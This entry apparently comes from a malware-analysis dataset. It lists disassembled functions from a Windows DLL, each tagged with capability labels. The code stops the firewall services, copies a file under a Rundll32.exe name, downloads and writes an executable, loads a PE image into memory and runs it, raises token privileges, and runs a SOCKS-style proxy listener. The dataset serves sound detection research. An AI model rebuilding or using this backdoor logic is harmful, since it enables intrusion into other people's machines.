joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100044f3
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, 0x100
lea eax, [ebp - 0x39c]
push esi
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
lea eax, [ebp - 0x39c]
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea eax, [ebp - 0x39c]
push 0x1000447c
push eax
call dword [0x1000be94]
xor ebx, ebx
mov dword [0x1000c350], eax
cmp eax, ebx
je 0x100046e9
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.10004434
push ebx
push ebx
push 4
call fcn.10004434
add esp, 0x18
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [0x1000be48]
cmp dword [ebp - 0x84], 2
jne 0x100046ca
cmp dword [ebp - 0x90], 6
jae 0x1000459e
call sym.MainDll.dll_MainThread
jmp 0x100046ca
lea eax, [ebp - 0x198]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x198]
push 0x1000a948
push eax
lea eax, [ebp - 0x198]
push str._s_s.exe
push eax
call dword [0x1000be78]
add esp, 0x10
lea eax, [ebp - 0x29c]
push esi
push eax
call dword [0x1000be58]
lea eax, [ebp - 0x29c]
push str.Rundll32.exe
push eax
call dword [0x1000be24]
lea eax, [ebp - 0x198]
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x198]
push eax
call fcn.10006dbd
test eax, eax
pop ecx
jne 0x1000462f
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x198]
push eax
call dword [0x1000be78]
pop ecx
pop ecx
lea eax, [ebp - 0x4a0]
push esi
push eax
xor edi, edi
push dword [0x1000bdd8]
mov dword [ebp + 0xc], ebx
call dword [0x1000be0c]
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x8a0]
push str._s___s__MainThread
push eax
call dword [0x1000be78]
add esp, 0x10
push 0x3e8
call dword [0x1000be20]
lea eax, [ebp + 0xc]
push eax
push edi
call dword [0x1000be4c]
cmp dword [ebp + 0xc], 0x103
je 0x100046ab
push edi
call dword [0x1000be1c]
push 0xbb8
call dword [0x1000be20]
lea eax, [ebp - 0x8a0]
push eax
call fcn.10002476
pop ecx
mov edi, eax
mov eax, dword [0x1000bf4c]
cmp eax, 3
je 0x100046ba
cmp eax, 1
jne 0x1000466b
push 0xffffffffffffffff
push edi
call dword [0x1000be2c]
push edi
call dword [0x1000be1c]
push 0x64
call dword [0x1000be20]
mov eax, dword [0x1000bf4c]
cmp eax, 3
je 0x100046e9
cmp eax, 1
je 0x100046e9
cmp dword [0x1000c354], ebx
je 0x100046ca
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10004738
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [0x1000bf40]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x100082c0
push 1
push esi
push 0x100082e0
mov dword [ebp - 0xc], esi
call dword [0x1000bf48]
test eax, eax
jge 0x10004770
xor eax, eax
jmp 0x10004816
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x100082d0
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10004805
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100047fc
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x100082a8
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x100047f1
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x100047de
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x1000478d
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [0x1000bf44]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10004e10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10004f20
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10004f20
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10004e68
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10004f20
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call dword [0x1000bef8]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10004f2e
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10004eeb
push eax
push edi
call fcn.1000509a
pop ecx
pop ecx
push edi
call fcn.10005114
test eax, eax
pop ecx
je 0x10004f19
push edi
call fcn.10004fdd
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10004f27
add eax, ebx
test eax, eax
je 0x10004f19
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10004f24
push edi
call fcn.100052d3
pop ecx
xor eax, eax
jmp 0x10004f29
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004f2e
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10004fda
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10004f9a
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10004fc4
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call dword [0x1000befc]
add esp, 0xc
jmp 0x10004fc4
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call dword [0x1000bef8]
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10004f67
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10005989
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
lea eax, [ebp - 0x190]
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x10008260
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0x6c], 0xffffffff
xor ebx, ebx
push 0x32
lea eax, [esi + 8]
push ebx
push eax
mov dword [esi + 0x70], ebx
mov dword [esi + 4], ebx
call sub.MSVCRT.dll_memset
push 0x32
lea eax, [esi + 0x3a]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [esi + 0x9c], eax
lea eax, [esi + 0x84]
push eax
mov dword [esi + 0x78], ebx
mov dword [esi + 0x7c], ebx
mov byte [esi + 0x80], bl
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x10005aca
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
je 0x10005b0f
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
leave
ret

Function at 0x10005b1f
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 6
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, bind
push eax
push dword [ebp + 8]
push eax
push edx
push edx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor ecx, ecx
cmp dword [ebp - 0x18], 4
pop edi
sete cl
neg eax
sbb eax, eax
and eax, ecx
leave
ret
Function at 0x10005b6b
Capabilities:
Create tcp socket
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, str.MpsSvc
mov esi, ecx
push edi
call fcn.10005b1f
test eax, eax
pop ecx
je 0x10005b8d
push edi
call fcn.10005aca
pop ecx
mov edi, str.SharedAccess
push edi
call fcn.10005b1f
test eax, eax
pop ecx
je 0x10005ba4
push edi
call fcn.10005aca
pop ecx
mov ecx, esi
call fcn.10005a6c
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x6c], eax
jne 0x10005bc6
xor al, al
jmp 0x10005cb1
xor eax, eax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
push dword [ebp + 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
mov word [ebp - 0x12], ax
pop edi
lea eax, [ebp - 0x14]
push edi
push eax
push dword [esi + 0x6c]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10005c0e
push 0x32
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10005c19
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x10005bbf
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_getsockname]
push dword [ebp - 0x12]
call dword [sym.imp.WS2_32.dll_ntohs]
push dword [ebp + 0x10]
movzx eax, ax
mov dword [esi + 4], eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10005c71
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10005c71
push dword [ebp + 0x10]
lea eax, [esi + 8]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x14]
lea eax, [esi + 0x3a]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x10005c93
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x10005cb8
push ebx
push ebx
mov dword [esi + 0x7c], eax
call edi
mov dword [esi + 0x74], eax
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x10005d32
push ebx
push ebx
mov byte [esi + 0x80], 1
call edi
cmp eax, ebx
mov dword [esi + 0x70], eax
setne al
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10005e04
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x10
lea eax, [ebp - 0x10]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0xe], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x10005e58
mov ecx, ebx
call fcn.10006a55
test eax, eax
je 0x10005e8d
push edi
mov ecx, ebx
call fcn.10006a55
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10005e8d
lea ecx, [ebp - 0x10]
push 0x10
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10005e96
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
push 1
pop eax
jmp 0x10005e8f

Function at 0x10005e9b
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x1000bdd4
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x10005f17
xor ebx, ebx
mov eax, dword [esi + 0xc]
xor edi, edi
cmp dword [eax + ebx], edi
je 0x10005f17
mov eax, dword [ebp + 8]
and byte [eax], 0
cmp word [esi + 0xa], di
jle 0x10005f12
test edi, edi
jle 0x10005ee0
push 0x1000b1f0
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [esi + 0xc]
mov eax, dword [eax + ebx]
movzx eax, byte [eax + edi]
push eax
lea eax, [ebp - 0x10]
push 0x1000b1ec
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
add esp, 0x14
inc edi
cmp edi, eax
jl 0x10005ecd
add ebx, 4
jmp 0x10005eb7
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005f1f
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005f73
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005f77
xor eax, eax
jmp 0x10005fb0
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10005e9b
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret
Function at 0x10005fb3
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x10005fe9
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10005fe4
sub edi, eax
add esi, eax
jmp 0x10005fbd
or eax, 0xffffffff
jmp 0x10005feb
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x100068f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 8], ecx
mov al, byte [esi]
mov byte [ebp - 2], 5
cmp al, 5
je 0x10006918
movzx eax, al
jmp 0x10006a4e
mov al, byte [esi + 2]
test al, al
je 0x10006927
cmp al, 2
jne 0x10006a47
lea eax, [ecx + 8]
push eax
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10006a47
cmp byte [ebp - 1], 2
jne 0x10006a4b
mov edi, 0x100
lea eax, [ebp - 0x108]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x208]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10006a47
test eax, eax
je 0x10006a47
cmp byte [esi], 1
jne 0x10006a47
mov al, byte [esi + 1]
test al, al
je 0x100069d3
movzx eax, al
cmp eax, edi
jg 0x100069d3
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x100069fa
cmp ecx, edi
jg 0x100069fa
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp - 8]
add eax, 8
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10006a31
lea eax, [ebp - 0x208]
push eax
mov eax, dword [ebp - 8]
add eax, 0x3a
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10006a31
and byte [esi + 1], al
jmp 0x10006a35
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10006a4b
xor eax, eax
jmp 0x10006a4e
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10006a55
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10006a70
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret 4
Function at 0x10006c9a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10006c35
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10006dde
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10008268
push 0x10007724
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push ebx
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x10006e9a
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x10006e9f
mov dword [ebp - 0x28], edi
jmp 0x10006ea3
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.10006ec1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006f13
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call dword [0x1000be6c]
mov edi, 0x128
mov ebx, eax
push edi
call sub.MFC42.DLL_operatornew
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10006f6d
push dword [esp + 0x10]
lea edi, [esi + 0x24]
push edi
call fcn.10006edc
pop ecx
pop ecx
test eax, eax
jne 0x10006f55
mov edi, dword [esi + 8]
jmp 0x10006f76
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10006f6d
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x10006f4c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
push esi
call sub.MFC42.DLL_operatordelete
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x10007045
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 0xc], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x100070b3
push str.InternetOpenUrlA
push edi
call esi
push ebx
push bind
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x100070c5
cmp edi, ebx
je 0x100070be
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x1000717e
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10007154
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push ebx
push eax
call dword [0x1000befc]
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x41c]
push edi
push ecx
push dword [ebp - 0x18]
call eax
cmp dword [ebp - 0x14], ebx
je 0x10007123
cmp word [ebp - 0x41c], 0x5a4d
jne 0x10007145
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
jbe 0x10007148
jmp 0x100070e6
mov byte [ebp - 1], bl
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0x18]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x1000717b
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007183
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ADVAPI32.dll
mov byte [ebp - 1], 1
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.AdjustTokenPrivileges
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.LookupPrivilegeValueA
push ebx
mov dword [ebp - 0x18], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x14], eax
call edi
push str.GetCurrentProcess
push eax
mov dword [ebp - 0xc], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x10007257
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], 1
neg eax
sbb eax, eax
and eax, 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push 0
call dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push eax
push 0x10
push ecx
push eax
push dword [ebp - 8]
call dword [ebp - 0x18]
push str.KERNEL32.dll
call edi
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10007232
and byte [ebp - 1], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x10007248
push ebx
call esi
cmp dword [ebp - 0xc], 0
je 0x10007253
push dword [ebp - 0xc]
call esi
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret